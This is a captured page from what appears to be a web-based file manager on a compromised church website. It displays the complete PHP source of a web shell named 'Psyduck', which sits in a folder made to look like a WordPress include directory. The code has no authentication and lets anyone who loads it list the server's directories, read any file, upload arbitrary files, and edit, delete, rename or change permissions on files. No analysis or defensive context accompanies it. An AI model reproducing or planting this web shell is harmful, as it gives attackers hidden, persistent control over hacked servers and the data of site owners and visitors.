D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
var
/
www
/
newcovenantchurch.net
/
public_html
/
wp-includes-ko
/
Requests
/
Cookie
/
783854
/
Filename :
index.php
back
Copy
<?php error_reporting(0); set_time_limit(0); ini_set('display_errors', 0); function perms($file) { $perms = fileperms($file); $info = ''; if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function display_header() { echo '<!DOCTYPE HTML> <HTML> <HEAD> <title>Psyduck</title> <style> body { font-family: "Racing Sans One", cursive; background-color: #999999; text-shadow: 0px 0px 1px #757575; background-size: cover; background-position: center; background-repeat: no-repeat; background-attachment: fixed; margin: 0; color: white; } #content tr:hover { background-color: #636263; text-shadow: 0px 0px 10px #fff; } #content .first { background-color: silver; color: black; } #content .first:hover { background-color: silver; text-shadow: 0px 0px 1px #757575; } table { border: 1px #000000 dotted; color: white; } H1 { font-family: "Rye", cursive; } a { color: white; text-decoration: none; } a:hover { color: #fff; text-shadow: 0px 0px 10px #ffffff; } input, select, textarea { border: 1px #000000 solid; border-radius: 5px; color: black; } </style> </HEAD> <BODY> <H1><center>Psyduck - 可達鴨 之 鴨力山大</center></H1>'; } function display_footer() { echo '</BODY></HTML>'; } function display_path($path) { echo '<table width="700" border="0" cellpadding="3" cellspacing="1" align="center"><tr><td>Current Path : '; $path = str_replace('\\', '/', $path); $paths = explode('/', $path); $link = ''; foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) { continue; } if ($pat == '') { continue; } $link .= "/$pat"; echo "<a href=\"?path=" . urlencode($link) . "\">$pat</a>/"; } echo '</td></tr>'; } function handle_upload($path) { if ($_FILES['file']['name'] != '') { $destination = $path . '/' . $_FILES['file']['name']; if (copy($_FILES['file']['tmp_name'], $destination)) { echo '<script>alert("Upload successful!");</script>'; } else { echo '<script>alert("Upload failed!");</script>'; } } } function handle_option($path) { if (isset($_GET['option']) && isset($_POST['opt']) && $_POST['opt'] != '') { display_header(); display_path($path); echo '<tr><td>'; $opt = $_POST['opt']; $type = $_POST['type']; $name = $_POST['name']; $fullpath = $_POST['path']; if ($opt == 'delete') { if ($type == 'dir') { if (rmdir($fullpath)) { echo '<script>alert("Directory deleted");window.location="?path=' . urlencode($path) . '";</script>'; } else { echo '<script>alert("Failed to delete directory");window.location="?path=' . urlencode($path) . '";</script>'; } } elseif ($type == 'file') { if (unlink($fullpath)) { echo '<script>alert("File deleted");window.location="?path=' . urlencode($path) . '";</script>'; } else { echo '<script>alert("Failed to delete file");window.location="?path=' . urlencode($path) . '";</script>'; } } } elseif ($opt == 'chmod') { if (isset($_POST['perm'])) { $perm = $_POST['perm']; if (chmod($fullpath, octdec($perm))) { echo '<script>alert("Permissions changed");window.location="?path=' . urlencode($path) . '";</script>'; } else { echo '<script>alert("Failed to change permissions");window.location="?path=' . urlencode($path) . '";</script>'; } } else { echo '<form method="POST"> Permissions: <input name="perm" type="text" value="' . substr(sprintf('%o', fileperms($fullpath)), -4) . '" /> <input type="hidden" name="opt" value="chmod"> <input type="hidden" name="type" value="' . $type . '"> <input type="hidden" name="name" value="' . $name . '"> <input type="hidden" name="path" value="' . $fullpath . '"> <input type="submit" value="Change"> </form>'; } } elseif ($opt == 'rename') { if (isset($_POST['newname'])) { $newname = $_POST['newname']; $newpath = dirname($fullpath) . '/' . $newname; if (rename($fullpath, $newpath)) { echo '<script>alert("Renamed successfully");window.location="?path=' . urlencode($path) . '";</script>'; } else { echo '<script>alert("Failed to rename");window.location="?path=' . urlencode($path) . '";</script>'; } } else { echo '<form method="POST"> New Name: <input name="newname" type="text" value="' . $name . '" /> <input type="hidden" name="opt" value="rename"> <input type="hidden" name="type" value="' . $type . '"> <input type="hidden" name="name" value="' . $name . '"> <input type="hidden" name="path" value="' . $fullpath . '"> <input type="submit" value="Rename"> </form>'; } } elseif ($opt == 'edit') { if ($type == 'file') { if (isset($_POST['src'])) { $fp = fopen($fullpath, 'w'); if (fwrite($fp, $_POST['src'])) { echo '<script>alert("File saved");window.location="?path=' . urlencode($path) . '";</script>'; } else { echo '<script>alert("Failed to save file");window.location="?path=' . urlencode($path) . '";</script>'; } fclose($fp); } else { echo '<form method="POST"> <textarea name="src" cols="80" rows="20">' . htmlspecialchars(file_get_contents($fullpath)) . '</textarea><br /> <input type="hidden" name="opt" value="edit"> <input type="hidden" name="type" value="' . $type . '"> <input type="hidden" name="name" value="' . $name . '"> <input type="hidden" name="path" value="' . $fullpath . '"> <input type="submit" value="Save"> </form>'; } } else { echo '<script>alert("Cannot edit a directory");window.location="?path=' . urlencode($path) . '";</script>'; } } echo '</td></tr></table>'; display_footer(); exit; } } function display_file($filesrc) { echo "<table width='700' border='0' cellpadding='3' cellspacing='1' align='center'><tr><td>Current File : " . htmlspecialchars($filesrc) . "</td></tr></table><br />"; echo "<pre>" . htmlspecialchars(file_get_contents($filesrc)) . "</pre>"; } function list_directory($path) { echo '</table><br /><div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">'; echo '<tr class="first">'; echo '<td><center>Name</center></td>'; echo '<td><center>Size</center></td>'; echo '<td><center>Permissions</center></td>'; echo '<td><center>Options</center></td>'; echo '</tr>'; $scandir = scandir($path); foreach ($scandir as $item) { if ($item == '.' || $item == '..') continue; $fullpath = $path . '/' . $item; $size = is_dir($fullpath) ? '--' : round(filesize($fullpath) / 1024, 3) . ' KB'; $perms = perms($fullpath); $item_html = htmlspecialchars($item); $fullpath_enc = urlencode($fullpath); $path_enc = urlencode($path); if (is_dir($fullpath)) { echo "<tr> <td><a href=\"?path={$fullpath_enc}\">{$item_html}</a></td> <td><center>$size</center></td> <td><center><font color=\"green\">$perms</font></center></td> <td><center> <form method=\"POST\" action=\"?option&path={$path_enc}\"> <select name=\"opt\"> <option value=\"\"></option> <option value=\"delete\">Delete</option> <option value=\"chmod\">Chmod</option> <option value=\"rename\">Rename</option> </select> <input type=\"hidden\" name=\"type\" value=\"dir\"> <input type=\"hidden\" name=\"name\" value=\"{$item_html}\"> <input type=\"hidden\" name=\"path\" value=\"{$fullpath}\"> <input type=\"submit\" value=\">\" /> </form></center></td> </tr>"; } else { echo "<tr> <td><a href=\"?filesrc={$fullpath_enc}&path={$path_enc}\">{$item_html}</a></td> <td><center>$size</center></td> <td><center><font color=\"green\">$perms</font></center></td> <td><center> <form method=\"POST\" action=\"?option&path={$path_enc}\"> <select name=\"opt\"> <option value=\"\"></option> <option value=\"delete\">Delete</option> <option value=\"chmod\">Chmod</option> <option value=\"rename\">Rename</option> <option value=\"edit\">Edit</option> </select> <input type=\"hidden\" name=\"type\" value=\"file\"> <input type=\"hidden\" name=\"name\" value=\"{$item_html}\"> <input type=\"hidden\" name=\"path\" value=\"{$fullpath}\"> <input type=\"submit\" value=\">\" /> </form></center></td> </tr>"; } } echo '</table></div><br />'; } $path = isset($_GET['path']) ? $_GET['path'] : getcwd(); chdir($path); $path = str_replace('\\', '/', $path); handle_upload($path); handle_option($path); display_header(); display_path($path); echo '<tr><td> <form enctype="multipart/form-data" method="POST"> Upload File : <input type="file" name="file" /> <input type="submit" value="upload" /> </form> </td></tr> </table>'; if (isset($_GET['filesrc'])) { display_file($_GET['filesrc']); } else { list_directory($path); } display_footer(); ?>